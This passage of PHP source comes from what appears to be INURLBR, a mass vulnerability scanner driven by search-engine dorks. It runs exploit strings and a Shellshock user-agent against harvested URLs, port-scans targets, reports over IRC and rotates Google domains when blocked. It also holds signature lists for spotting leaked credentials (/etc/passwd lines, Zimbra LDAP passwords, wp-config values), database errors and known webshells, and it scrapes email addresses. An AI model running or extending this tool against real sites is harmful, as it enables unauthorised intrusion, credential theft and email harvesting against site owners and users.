  2187.                 is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL);
  2188.         __plus();
  2189.  
  2190.         (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL);
  2191.         __plus();
  2192.  
  2193.         ($_SESSION['config']['robots'] ? __getValuesRobots($host) : NULL);
  2194.         __plus();
  2195.  
  2196.         (not_isnull_empty($_SESSION['config']['port-scan']) ? __portScan(array(0 => $target_, 1 => $_SESSION['config']['port-scan'])) : NULL);
  2197.         __plus();
  2198.  
  2199.         __timeSec('delay', "\n");
  2200.     }
  2201. }
  2202.  
  2203. ################################################################################
  2204. #PRINT MESSAGE AND OUT OF THE PROCESS###########################################
  2205. ################################################################################
  2206.  
  2207. function __getOut($msg) {
  2208.     __ircQuit($_SESSION['config']['irc']);
  2209.     print_r($msg);
  2210.     exit(1);
  2211. }
  2212.  
  2213. ################################################################################
  2214. #ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF ENGINE####################
  2215. ################################################################################
  2216.  
  2217. function __process($resultadoURL) {
  2218.  
  2219.     __plus();
  2220.     $resultadoURL[0] = (is_array($resultadoURL) ? array_unique(array_filter($resultadoURL)) : $resultadoURL);
  2221.     $resultadoURL[0] = ($_SESSION['config']['unique'] ? __filterDomainUnique($resultadoURL[0]) : $resultadoURL[0]);
  2222.  
  2223.     $resultadoURL[0] = (not_isnull_empty($_SESSION['config']['ifurl']) ? __filterURLif($resultadoURL[0]) : $resultadoURL[0]);
  2224.     $_SESSION['config']['total_url'] = count($resultadoURL[0]);
  2225.  
  2226.     echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c12"]}[ TOTAL FOUND VALUES ]::{$_SESSION["c1"]} [ {$_SESSION['config']['total_url']} ]{$_SESSION["c0"]}\n";
  2227.     __debug(array('debug' => $resultadoURL[0], 'function' => '__process'), 3);
  2228.  
  2229.     if (count($resultadoURL[0]) > 0) {
  2230.  
  2231.         $_SESSION['config']['irc']['irc_connection'] = (not_isnull_empty($_SESSION['config']['irc']['conf']) ? __ircConect($_SESSION['config']['irc']) : NULL);
  2232.         $_SESSION['config']['irc']['my_fork'] = pcntl_fork();
  2233.  
  2234.         if ($_SESSION['config']['irc']['my_fork'] == 0) {
  2235.  
  2236.             (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? __ircPong($_SESSION['config']['irc']) : NULL);
  2237.             exit(0);
  2238.         } else if ($_SESSION['config']['irc']['my_fork'] == -1) {
  2239.  
  2240.             __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}ERROR Fork failed{$_SESSION["c0"]}\n");
  2241.         }
  2242.  
  2243.         $_SESSION['config']['user-agent'] = ($_SESSION['config']['shellshock']) ? $_SESSION['config']['user_agent_xpl'] : $_SESSION['config']['user-agent'];
  2244.         foreach ($resultadoURL[0] as $url) {
  2245.  
  2246.             __plus();
  2247.             $url = urldecode(not_isnull_empty($_SESSION['config']['target']) ?
  2248.                             $_SESSION['config']['target'] . $url : $url);
  2249.  
  2250.             if (__validateURL($url) || not_isnull_empty($_SESSION['config']['abrir-arquivo'])) {
  2251.  
  2252.                 __processUrlExec(__filterURLTAG($url), $_SESSION["config"]["contUrl"] ++);
  2253.                 __plus();
  2254.             }
  2255.         }
  2256.     } else {
  2257.  
  2258.         print_r("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]} Not a satisfactory result was found!{$_SESSION["c0"]}\n");
  2259.     }
  2260. }
  2261.  
  2262. ################################################################################
  2263. #ERRORS STANDARDS OF SCRIPT VALIDATE WITH HTML RECEIVED#########################
  2264. ################################################################################
  2265.  
  2266. function __checkError($html_) {
  2267.  
  2268.  
  2269.     if (__validateOptions($_SESSION['config']['tipoerro'], '2')) {
  2270.  
  2271.         $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL;
  2272.     }
  2273.  
  2274.     if (__validateOptions('1,3,4', $_SESSION['config']['tipoerro'])) {
  2275.  
  2276.         if (__validateOptions('3,4', $_SESSION['config']['tipoerro'])) {
  2277.  
  2278.             $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL;
  2279.         }
  2280.  
  2281.         /* [*]SHELLSHOCK
  2282.          * (CVE-2014-6271, CVE-2014-6277,
  2283.          * CVE-2014-6278, CVE-2014-7169,
  2284.          * CVE-2014-7186, CVE-2014-7187)
  2285.          * is a vulnerability in GNU's bash shell that gives attackers access
  2286.          * to run remote commands on a vulnerable system. */
  2287.         $validation['SHELLSHOCK-01'] = '99887766555';
  2288.  
  2289.         /* [*]LOCAL FILE INCLUSION
  2290.          * Local File Inclusion (also known as LFI) is the process of including
  2291.          * files, that are already locally present on the server, through the
  2292.          * exploiting of vulnerable inclusion procedures implemented in the
  2293.          * application.
  2294.          * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion */
  2295.         $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/';
  2296.         $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:';
  2297.         $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:';
  2298.  
  2299.         /* [*]ZIMBRA MAIL
  2300.          * Zimbra 0day exploit / Privilegie escalation via LFI
  2301.          * This script exploits a Local File Inclusion in
  2302.          * /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
  2303.          * which allows us to see localconfig.xml
  2304.          * that contains LDAP root credentials wich allow us to make requests in
  2305.          * /service/admin/soap API with the stolen LDAP credentials to create user
  2306.          * with administration privlegies
  2307.          * and gain acces to the Administration Console.
  2308.          * https://www.exploit-db.com/exploits/30085/ */
  2309.         $validation['ZIMBRA-WEB-MAIL-01'] = 'zimbra_user';
  2310.         $validation['ZIMBRA-WEB-MAIL-02'] = 'zimbra_ldap_password';
  2311.         $validation['ZIMBRA-WEB-MAIL-03'] = 'ldap_replication_password';
  2312.         $validation['ZIMBRA-WEB-MAIL-04'] = 'ldap_root_password';
  2313.         $validation['ZIMBRA-WEB-MAIL-05'] = 'ldap_nginx_password';
  2314.         $validation['ZIMBRA-WEB-MAIL-06'] = 'mailboxd_keystore_password';
  2315.         $validation['ZIMBRA-WEB-MAIL-07'] = 'zimbra_mysql_password';
  2316.         $validation['ZIMBRA-WEB-MAIL-08'] = 'mysql_root_password';
  2317.         $validation['ZIMBRA-WEB-MAIL-10'] = 'mailboxd_truststore_password';
  2318.         $validation['ZIMBRA-WEB-MAIL-11'] = 'ldap_postfix_password';
  2319.         $validation['ZIMBRA-WEB-MAIL-12'] = 'ldap_amavis_password';
  2320.  
  2321.         /* [*]ZEND FRAMEWORK
  2322.          * Zend-Framework Full Info Disclosure
  2323.          * The username and password of the database may be obtained trough
  2324.          * the "application.ini" file
  2325.          * https://www.exploit-db.com/exploits/29921/ */
  2326.         $validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
  2327.         $validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
  2328.         $validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
  2329.         $validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
  2330.         $validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';
  2331.  
  2332.         /* [*]CMS WORDPRESS
  2333.          * As the name suggests, if the web application doesn’t check the file
  2334.          * name required by the user, any malicious user can exploit this
  2335.          * vulnerability to download sensitive files from the server.
  2336.          * Arbitrary File Download vulnerability file wp-config.php
  2337.          * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
  2338.          * http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure */
  2339.         $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'";
  2340.         $validation['CMS-WORDPRESS-02'] = "define('DB_USER'";
  2341.         $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
  2342.         $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'";
  2343.  
  2344.         /* [*]ERROR MARIADB
  2345.          * MariaDB is a drop-in replacement for MySQL.
  2346.          * MariaDB strives to be the logical choice for database professionals
  2347.          * looking for a robust, scalable, and reliable SQL server. To accomplish
  2348.          * this, the MariaDB Foundation work closely and cooperatively with the
  2349.          * larger community of users and developers in the true spirit of Free
  2350.          * and open source software, and release software in a manner that
  2351.          * balances predictability with reliability.
  2352.          * https://mariadb.org/en/about/ */
  2353.         $validation['MARIADB-01'] = 'MariaDB server version for the right syntax';
  2354.  
  2355.         /* [*]ERROR MYSQL
  2356.          * MySQL is a database management system (DBMS), which uses the SQL
  2357.          * (Structured Query Language, English Structured Query Language) as
  2358.          * interface. It is currently one of the most popular databases, with
  2359.          * more than 10 million installations worldwide
  2360.          * https://www.mysql.com/
  2361.          * http://php.net/manual/en/security.database.sql-injection.php
  2362.          */
  2363.         $validation['MYSQL-AND-MARIADB'] = 'You have an error in your SQL syntax;';
  2364.         $validation['MYSQL-03'] = 'Warning: mysql_';
  2365.         $validation['MYSQL-04'] = 'function.mysql';
  2366.         $validation['MYSQL-05'] = 'MySQL result index';
  2367.         $validation['MYSQL-07'] = 'MySQL Error';
  2368.         $validation['MYSQL-08'] = 'MySQL ODBC';
  2369.         $validation['MYSQL-09'] = 'MySQL Driver';
  2370.         $validation['MYSQL-10'] = 'mysqli.query';
  2371.         $validation['MYSQL-11'] = 'num_rows';
  2372.         $validation['MYSQL-12'] = 'mysql error:';
  2373.         $validation['MYSQL-13'] = 'supplied argument is not a valid MySQL result resource';
  2374.         $validation['MYSQL-14'] = 'on MySQL result index';
  2375.         $validation['MYSQL-15'] = 'Error Executing Database Query';
  2376.         $validation['MYSQL-01'] = 'mysql_';
  2377.  
  2378.         /* [*]ERROR MICROSOFT
  2379.          * MICROSOFT TECHNOLOGY
  2380.          * http://www.microsoft.com/pt-br/server-cloud/products/sql-server/
  2381.          * https://products.office.com/pt-br/access
  2382.          * https://www.owasp.org/index.php/Testing_for_SQL_Server */
  2383.         $validation['MICROSOFT-01'] = 'Microsoft JET Database';
  2384.         $validation['MICROSOFT-02'] = 'ADODB.Recordset';
  2385.         $validation['MICROSOFT-03'] = '500 - Internal server error';
  2386.         $validation['MICROSOFT-04'] = 'Microsoft OLE DB Provider';
  2387.         $validation['MICROSOFT-05'] = 'Unclosed quotes';
  2388.         $validation['MICROSOFT-06'] = 'ADODB.Command';
  2389.         $validation['MICROSOFT-07'] = 'ADODB.Field error';
  2390.         $validation['MICROSOFT-08'] = 'Microsoft VBScript';
  2391.         $validation['MICROSOFT-09'] = 'Microsoft OLE DB Provider for SQL Server';
  2392.         $validation['MICROSOFT-10'] = 'Unclosed quotation mark';
  2393.         $validation['MICROSOFT-11'] = 'Microsoft OLE DB Provider for Oracle';
  2394.         $validation['MICROSOFT-14'] = 'Active Server Pages error';
  2395.         $validation['MICROSOFT-15'] = 'OLE/DB provider returned message';
  2396.         $validation['MICROSOFT-16'] = 'OLE DB Provider for ODBC';
  2397.         $validation['MICROSOFT-17'] = "error '800a0d5d'";
  2398.         $validation['MICROSOFT-18'] = "error '800a000d'";
  2399.         $validation['MICROSOFT-19'] = 'Unclosed quotation mark after the character string';
  2400.         $validation['MICROSOFT-20'] = '[Microsoft][SQL Server Native Client 11.0][SQL Server]';
  2401.         $validation['MICROSOFT-21'] = 'Warning: odbc_';
  2402.  
  2403.         /* #[*]ERROR ORACLE
  2404.          * - DBMS currently marketed by Oracle, who was born in 1979 and was
  2405.          * the first relational BD sold worldwide;
  2406.          * - Latest version: Oracle Database 11G;
  2407.          * http://www.oracle.com/br/solutions/midsize/oracle-products/database/index.html
  2408.          * https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf */
  2409.         $validation['ORACLE-01'] = 'ORA-00921: unexpected end of SQL command';
  2410.         $validation['ORACLE-02'] = 'ORA-01756';
  2411.         $validation['ORACLE-03'] = 'ORA-';
  2412.         $validation['ORACLE-04'] = 'Oracle ODBC';
  2413.         $validation['ORACLE-05'] = 'Oracle Error';
  2414.         $validation['ORACLE-06'] = 'Oracle Driver';
  2415.         $validation['ORACLE-07'] = 'Oracle DB2';
  2416.         $validation['ORACLE-08'] = 'error ORA-';
  2417.         $validation['ORACLE-09'] = 'SQL command not properly ended';
  2418.  
  2419.         /* #[*]ERROR DB2
  2420.          * DB2 is a database system Relational Manager (SGDBR) produced by IBM.
  2421.          * There are different versions of DB2 running from a simple PDA |
  2422.          * handheld, even in powerful mainframes and run on servers based on
  2423.          * Unix, Windows, or Linux.
  2424.          * http://www-01.ibm.com/software/br/db2/lowerdatabasecosts/
  2425.          * https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#DB2_Escaping */
  2426.         $validation['DB2-01'] = 'DB2 ODBC';
  2427.         $validation['DB2-02'] = 'DB2 error';
  2428.         $validation['DB2-03'] = 'DB2 Driver';
  2429.  
  2430.         /* #[*]ERROR ODBC
  2431.          * ODBC (acronym for Open Database Connectivity) is a standard for
  2432.          * access to managers of database systems (DBMS).
  2433.          * https://support.office.com/pt-br/article/Administrar-fontes-de-dados-ODBC-b19f856b-5b9b-48c9-8b93-07484bfab5a7
  2434.          * https://www.exploit-db.com/papers/12975/ */
  2435.         $validation['ODBC-01'] = 'ODBC SQL';
  2436.         $validation['ODBC-02'] = 'ODBC DB2';
  2437.         $validation['ODBC-03'] = 'ODBC Driver';
  2438.         $validation['ODBC-04'] = 'ODBC Error';
  2439.         $validation['ODBC-05'] = 'ODBC Microsoft Access';
  2440.         $validation['ODBC-06'] = 'ODBC Oracle';
  2441.         $validation['ODBC-07'] = 'ODBC Microsoft Access Driver';
  2442.  
  2443.         /* #[*]ERROR POSTGRESQL
  2444.          * PostgreSQL is an object-relational database management system
  2445.          * (ORDBMS), developed as an open source project.
  2446.          * http://www.postgresql.org.br/old/
  2447.          * https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL */
  2448.         $validation['POSTGRESQL-01'] = 'Warning: pg_';
  2449.         $validation['POSTGRESQL-02'] = 'PostgreSql Error:';
  2450.         $validation['POSTGRESQL-03'] = 'function.pg';
  2451.         $validation['POSTGRESQL-04'] = 'Supplied argument is not a valid PostgreSQL result';
  2452.         $validation['POSTGRESQL-05'] = 'PostgreSQL query failed: ERROR: parser: parse error';
  2453.         $validation['POSTGRESQL-06'] = 'pg_';
  2454.  
  2455.         /* #[*]ERROR SYBASE
  2456.          * Sybase (NYSE: SY), an SAP company, is a software company that
  2457.          * produces services and products related to information management,
  2458.          * mobility, messaging, development tools, and data warehousing and
  2459.          * OLAP data.
  2460.          * https://www.owasp.org/index.php?search=SYBASE&title=Special%3ASearch&go=Go */
  2461.         $validation['SYBASE-01'] = 'Warning: sybase_';
  2462.         $validation['SYBASE-02'] = 'function.sybase';
  2463.         $validation['SYBASE-03'] = 'Sybase result index';
  2464.         $validation['SYBASE-04'] = 'Sybase Error:';
  2465.         $validation['SYBASE-05'] = 'Sybase: Server message:';
  2466.         $validation['SYBASE-06'] = 'sybase_';
  2467.         $validation['SYBASE-07'] = '[Sybase][ODBC Driver]:';
  2468.  
  2469.         /* #[*]ERROR JBOSSWEB
  2470.          * JBoss Web Server is an enterprise ready web server designed for
  2471.          * medium and large applications, based on Tomcat.
  2472.          * JBoss Web a component of the JBoss Application Server, there are
  2473.          * no more standalone version of JBoss Web you need the Application
  2474.          * Server to get the Servlet/JSP container.
  2475.          * http://jbossweb.jboss.org/
  2476.          * http://www.rapid7.com/db/search?utf8=%E2%9C%93&q=JBoss+&t=a */
  2477.         $validation['JBOSSWEB-01'] = 'java.sql.SQLSyntaxErrorException: ORA-';
  2478.         $validation['JBOSSWEB-02'] = 'org.springframework.jdbc.BadSqlGrammarException:';
  2479.         $validation['JBOSSWEB-03'] = 'javax.servlet.ServletException:';
  2480.         $validation['JBOSSWEB-04'] = 'java.lang.NullPointerException';
  2481.  
  2482.         /* #[*]ERROR JDBC
  2483.          * Java Database Connectivity or JDBC is a set of classes and
  2484.          * interfaces (API) written in Java that make sending SQL statements
  2485.          * for any relational database
  2486.          * http://www.oracle.com/technetwork/java/javase/jdbc/index.html
  2487.          * https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java */
  2488.         $validation['JDBC_CFM-01'] = 'Error Executing Database Query';
  2489.         $validation['JDBC_CFM-02'] = 'SQLServer JDBC Driver';
  2490.         $validation['JDBC_CFM-03'] = 'JDBC SQL';
  2491.         $validation['JDBC_CFM-04'] = 'JDBC Oracle';
  2492.         $validation['JDBC_CFM-05'] = 'JDBC MySQL';
  2493.         $validation['JDBC_CFM-06'] = 'JDBC error';
  2494.         $validation['JDBC_CFM-07'] = 'JDBC Driver';
  2495.  
  2496.         /* #[*]JAVA INFINITYDB
  2497.          * InfinityDB is an all-Java embedded database engine that is deployed
  2498.          * in handheld devices, on servers, on workstations, and in distributed
  2499.          * settings. */
  2500.         $validation['JAVA-INFINITYDB-01'] = 'java.io.IOException: InfinityDB';
  2501.  
  2502.         /* #[*]ERROR PHP
  2503.          * The PHP development team announces the immediate availability of
  2504.          * PHP 5.4.40. 14 security-related bugs were fixed in this release,
  2505.          * including CVE-2014-9709, CVE-2015-2301, CVE-2015-2783, CVE-2015-1352.
  2506.          * All PHP 5.4 users are encouraged to upgrade to this version.
  2507.          * http://php.net/ */
  2508.         $validation['ERRORPHP-01'] = 'Warning: include';
  2509.         $validation['ERRORPHP-02'] = 'Fatal error: include';
  2510.         $validation['ERRORPHP-03'] = 'Warning: require';
  2511.         $validation['ERRORPHP-04'] = 'Fatal error: require';
  2512.         $validation['ERRORPHP-05'] = 'ADODB_Exception';
  2513.         $validation['ERRORPHP-06'] = 'Warning: include(';
  2514.         $validation['ERRORPHP-07'] = 'Warning: require_once(';
  2515.         $validation['ERRORPHP-08'] = 'function.include';
  2516.         $validation['ERRORPHP-09'] = 'Disallowed Parent Path';
  2517.         $validation['ERRORPHP-10'] = 'function.require';
  2518.         $validation['ERRORPHP-11'] = 'Warning: main(';
  2519.         $validation['ERRORPHP-12'] = 'Warning: session_start()';
  2520.         $validation['ERRORPHP-13'] = 'Warning: getimagesize()';
  2521.         $validation['ERRORPHP-16'] = 'Warning: array_merge()';
  2522.         $validation['ERRORPHP-17'] = 'Warning: preg_match()';
  2523.         $validation['ERRORPHP-18'] = 'GetArray()';
  2524.         $validation['ERRORPHP-19'] = 'FetchRow()';
  2525.         $validation['ERRORPHP-20'] = 'Warning: preg_';
  2526.         $validation['ERRORPHP-21'] = 'Warning: ociexecute()';
  2527.         $validation['ERRORPHP-22'] = 'Warning: ocifetchstatement()';
  2528.         $validation['ERRORPHP-23'] = 'PHP Warning:';
  2529.  
  2530.         /* #[*]ERROR ASP
  2531.          * The ASP (Active Server Pages), also known as Classic ASP today, is a
  2532.          * framework of basic libraries (and not a language) for processing of
  2533.          * scripting languages on the server side to generate dynamic content on
  2534.          * the Web
  2535.          * http://www.asp.net/ */
  2536.         $validation['ERRORASP-01'] = 'Version Information: Microsoft .NET Framework';
  2537.         $validation['ERRORASP-04'] = 'ASP.NET is configured to show verbose error messages';
  2538.         $validation['ERRORASP-05'] = 'BOF or EOF';
  2539.         $validation['ERRORASP-06'] = 'Unclosed quotation mark';
  2540.         $validation['ERRORASP-06'] = 'Error converting data type varchar to numeric';
  2541.  
  2542.         /* #[*]ERROR LUA
  2543.          * Lua is a scripting language imperative, procedural, small, reflective
  2544.          * and light, designed to expand applications in general, to be an
  2545.          * extensible language (which connects parts of a program made in more
  2546.          * than one language)
  2547.          * http://www.lua.org/ */
  2548.         $validation['ERRORLUA-01'] = 'LuaPlayer ERROR:';
  2549.         $validation['ERRORLUA-02'] = 'CGILua message';
  2550.         $validation['ERRORLUA-03'] = 'Lua error';
  2551.  
  2552.         #[*]ERROR INDEFINIDOS
  2553.        $validation['INDEFINITE-01'] = 'Incorrect syntax near';
  2554.         $validation['INDEFINITE-02'] = 'Fatal error';
  2555.         $validation['INDEFINITE-04'] = 'Invalid Querystring';
  2556.         $validation['INDEFINITE-05'] = 'Input string was not in a correct format';
  2557.         $validation['INDEFINITE-06'] = 'An illegal character has been found in the statement';
  2558.  
  2559.         #[*]SHELL SCRIPT backdoored.
  2560.        $validation['SHELL-01'] = 'c99shell</title>';
  2561.         $validation['SHELL-02'] = 'C99Shell v';
  2562.         $validation['SHELL-03'] = '<form method="POST" action="cfexec.cfm">';
  2563.         $validation['SHELL-05'] = '<input type=text name=".CMD" size=45 value=';
  2564.         $validation['SHELL-05'] = '<title>awen asp.net webshell</title>';
  2565.         $validation['SHELL-06'] = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>";
  2566.         $validation['SHELL-07'] = 'JSP Backdoor Reverse Shell';
  2567.         $validation['SHELL-08'] = 'Simple CGI backdoor by DK';
  2568.         $validation['SHELL-09'] = 'execute command: <input type="text" name="c">';
  2569.         $validation['SHELL-10'] = 'Execute Shell Command';
  2570.         $validation['SHELL-11'] = 'r57shell</title>';
  2571.         $validation['SHELL-12'] = '<title>r57Shell';
  2572.         $validation['SHELL-13'] = 'heroes1412';
  2573.         $validation['SHELL-14'] = 'MyShell';
  2574.         $validation['SHELL-15'] = 'PHP Shell';
  2575.         $validation['SHELL-16'] = 'PHPShell';
  2576.         $validation['SHELL-17'] = 'REMVIEW TOOLS';
  2577.         $validation['SHELL-18'] = '<title>iTSecTeam</title>';
  2578.         $validation['SHELL-19'] = 'JSP Backdoor Reverse Shell';
  2579.         $validation['SHELL-20'] = '<title>*  ernealizm  * </title>';
  2580.         $validation['SHELL-21'] = '<title>JSP Shell</title>';
  2581.         $validation['SHELL-22'] = '<title>KNULL Shell</title>';
  2582.         $validation['SHELL-23'] = '<title>.+- WSO.+</title>';
  2583.         $validation['SHELL-24'] = '<title>SST Sheller !</title>';
  2584.         $validation['SHELL-25'] = '<title>SyRiAn Sh3ll';
  2585.         $validation['SHELL-26'] = '<title>Mini Php Shell';
  2586.         $validation['SHELL-27'] = '<title>ASPX Shell</title>';
  2587.         $validation['SHELL-28'] = '<title>ZoRBaCK Connect</title>';
  2588.         $validation['SHELL-29'] = '<title>.+Ani-Shell.+</title>';
  2589.         $validation['SHELL-30'] = '<title>Stored Procedure Execute</title>';
  2590.         $validation['SHELL-31'] = '<title>:: www.h4ckcity.org :: Coded By 2MzRp & LocalMan ::</title>';
  2591.         $validation['SHELL-32'] = '<title>PhpShell 2.0</title>';
  2592.         $validation['SHELL-33'] = '<title>.+NTDaddy.+</title>';
  2593.         $validation['SHELL-34'] = '<title>PHP-Terminal';
  2594.  
  2595.         $_SESSION['config']['cms-check-resultado'] = (!is_null($_SESSION['config']['cms-check'])) ? __SimpleCheckCMS($html_) : NULL;
  2596.     }
  2597.  
  2598.     if (!is_null($_SESSION['config']['regexp'])) {
  2599.  
  2600.         preg_match_all("#\b{$_SESSION['config']['regexp']}#i", $html_, $match);
  2601.         __plus();
  2602.         return (isset($match[0][0]) && !empty($match[0][0]) ? " regular expression->{$_SESSION['config']['regexp']} - " . $match[0][0] . " FOUD! " : NULL);
  2603.     } else {
  2604.  
  2605.         foreach ($validation as $campo => $valor) {
  2606.  
  2607.             __plus();
  2608.             if (__validateBD($html_, $validation[$campo], $campo)) {
  2609.  
  2610.                 __plus();
  2611.                 return(" {$campo}  -  VALUE: {$validation[$campo]}");
  2612.             }
  2613.         }
  2614.     }
  2615. }
  2616.  
  2617. ################################################################################
  2618. #CHECK ERROR 2 HTML INSIDE######################################################
  2619. ################################################################################
  2620.  
  2621. function __validateBD($html_, $verificar, $bd) {
  2622.  
  2623.     return (strstr($html_, $verificar)) ? $bd : NULL;
  2624. }
  2625.  
  2626. ################################################################################
  2627. #FORMAT URL#####################################################################
  2628. ################################################################################
  2629.  
  2630. function __mountURLExploit($_url) {
  2631.  
  2632.     $_url = explode("=", trim(urldecode($_url)));
  2633.     $get = max(array_keys($_url));
  2634.     $get_ = $_url[$get];
  2635.     return implode("=", str_replace($get_, $get_ . ((!is_null($_SESSION['config']['exploit-get'])) ? $_SESSION['config']['exploit-get'] : NULL), $_url));
  2636. }
  2637.  
  2638. ################################################################################
  2639. #FILTER HTML URLs ALL THE RETURN OF seekers#####################################
  2640. ################################################################################
  2641.  
  2642. function __filterURL($html, $op = NULL) {
  2643.  
  2644.     $reg = !strstr($op, 'GOOGLE') ? "#\b(href=\"|src=\"|value=\")(.*?)(\")#si" :
  2645.             "#\b(href=\"|src=\"|value=\"http[s]?://|href=\"|src=\"|value=\"ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si";
  2646.     $html = str_replace('href="/url?q=', 'href="', $html);
  2647.  
  2648.     if (strstr($html, '.google.com/sorry/IndexRedirect?continue=https://www.google.com.') && $_SESSION['config']['persist'] <= $_SESSION["config"]['google_attempt'][1]) {
  2649.  
  2650.         print_r("{$_SESSION["c1"]}[ INFO ][ ERROR ]{$_SESSION["c2"]} GOOGLE LOCKED!{$_SESSION["c0"]}\n");
  2651.         $randHost = __dominioGoogleRandom();
  2652.         $_SESSION["config"]['google_attempt'][1] ++;
  2653.         __pageEngine($_SESSION["config"]["conf_array_tmp"], "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $_SESSION["config"]["dork_tmp"], NULL, 0, 0, 1);
  2654.     } else {
  2655.         $_SESSION["config"]["google_attempt"][1] = 0;
  2656.         preg_match_all($reg, $html, $html);
  2657.         return (array_filter(array_unique($html[0])));
  2658.     }
  2659. }
  2660.  
  2661. ################################################################################
  2662. #FILTER HTML URLs ALL THE RETURN OF GOOGLE API##################################
  2663. ################################################################################
  2664.  
  2665. function __filterURLJson($html) {
  2666.  
  2667.     $html = json_decode($html, true);
  2668.     $allresponseresults = $html['responseData']['results'];
  2669.     foreach ($allresponseresults as $value) {
  2670.         $tmp[] = $value['url'];
  2671.     }
  2672.     return (array_filter(array_unique($tmp)));
  2673. }
  2674.  
  2675. ################################################################################
  2676. #Filtering the repeated emails #################################################
  2677. ################################################################################
  2678.  
  2679. function __filterEmailsRepeated() {
  2680.  
  2681.     echo "\n\n{$_SESSION["c1"]}|[ INFO ][ Filtering the repeated emails  the file {$_SESSION['config']['arquivo_output']} ]{$_SESSION["c0"]}\n";
  2682.     $array = __openFile($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], 1);
  2683.     if (is_array($array)) {
  2684.  
  2685.         unlink($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output']);
  2686.         unset($_SESSION['config']['resultado_valores']);
  2687.         foreach ($array as $value) {
  2688.  
  2689.             __saveValue($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], $value, 2) . __plus();
  2690.             $_SESSION['config']['resultado_valores'] .= "{$value}\n";
  2691.         }
  2692.     } else {
  2693.  
  2694.         echo "\n\n{$_SESSION["c1"]}|[ ERROR ][ ERROR EMAILS FILTERING ]{$_SESSION["c0"]}\n";
  2695.     }
  2696. }
  2697.  
  2698. ################################################################################
  2699. #COUNTING PROCESS END URLS / vuln AND SHOWING THE URLS / vuln###################
  2700. ################################################################################
  2701.  
  2702. function __exitProcess() {
  2703.  
  2704.     $file = !is_null($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL;
  2705.     $file_all = !is_null($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL;
  2706.     (($_SESSION['config']['extrai-email']) ? __filterEmailsRepeated() : NULL);
  2707.     $cont = count(explode("\n", $_SESSION['config']['resultado_valores'])) - 1;
  2708.     echo "\n\n{$_SESSION["c1"]}[ INFO ] [ Shutting down ]{$_SESSION["c0"]}";
  2709.     echo "\n{$_SESSION["c1"]}[ INFO ] [ End of process INURLBR at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c0"]}";
  2710.     echo "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c0"]}{$_SESSION["c16"]}[ TOTAL FILTERED VALUES ]::{$_SESSION["c1"]} [ {$cont} ]{$_SESSION["c0"]}";
  2711.     echo!is_null($file) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file}  ]{$_SESSION["c0"]}" : NULL;
  2712.     echo!is_null($file_all) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all}  ]{$_SESSION["c0"]}" : NULL;
  2713.     echo "\n{$_SESSION["c1"]}|_________________________________________________________________________________________{$_SESSION["c0"]}\n";
  2714.  
  2715.     print_r(!$_SESSION['config']['extrai-email'] ? $_SESSION['config']['resultado_valores'] : NULL);
  2716.  
  2717.     echo "\n{$_SESSION["c1"]}\_________________________________________________________________________________________/{$_SESSION["c0"]}\n";
  2718.     __getOut("\n");
  2719. }
  2720.  
  2721. ################################################################################
  2722. #CASE URLS FILTER AND VALIDATING URL VALID######################################
  2723. ################################################################################
  2724.  
  2725. function __subProcess($resultado = NULL) {
  2726.  
  2727.     $resultado_ = is_array($resultado) ? array_unique(array_filter($resultado)) : $resultado;
  2728.     if (isset($resultado_)) {
  2729.  
  2730.         foreach ($resultado_ as $result) {
  2731.  
